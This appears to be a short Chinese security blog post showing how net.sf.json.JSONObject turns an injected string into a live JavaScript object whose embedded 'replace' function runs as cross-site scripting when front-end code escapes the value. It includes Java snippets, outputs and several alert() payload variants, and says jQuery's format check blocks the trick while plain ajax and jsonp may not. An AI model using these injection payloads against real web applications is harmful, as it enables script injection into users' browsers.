测试用的是net.sf.json.JSONObject,大家也可以去试试其他JSONObject。

JSONObject json = null;
json = new JSONObject();
json.put("code", 200);
json.put("info", "tester");
json.put("msg", "success");
System.out.println(json);
// 输出:{"code":200,"info":"tester","msg":"success"}

在这里info是一个String,所以,很多前端工程师可能会选择使用Stirng.replace方法转义or过滤特殊字符。

如果在info中注入{‘replace’:function(){alert(/xss/)}}呢?

json = new JSONObject();
json.put("code", 200);
json.put("info", "{'replace':function(){alert(/xss/)}}");
json.put("msg", "success");
System.out.println(json);
// 输出:{"code":200,"info":{"replace":function(){ alert(/xss/) }},"msg":"success"}

JSONObject在输出json串时,info会作为对象输出,并且其中嵌入replace方法,js在使用replace方法转义过滤时,也就调用了嵌入的replace方法。


可以根据不同的场景把info构造成不同的对象,也可以构造成数组[function(){alert(/xss/)}] 或者 简单的函数 function(){alert(/xss/)}

NOTE:这种方式在jQuery中行不通,jQuery会对json串的格式做检查,一般的ajax,还有jsonp可能会存在这种xss问题。
源链接

Hacking more

...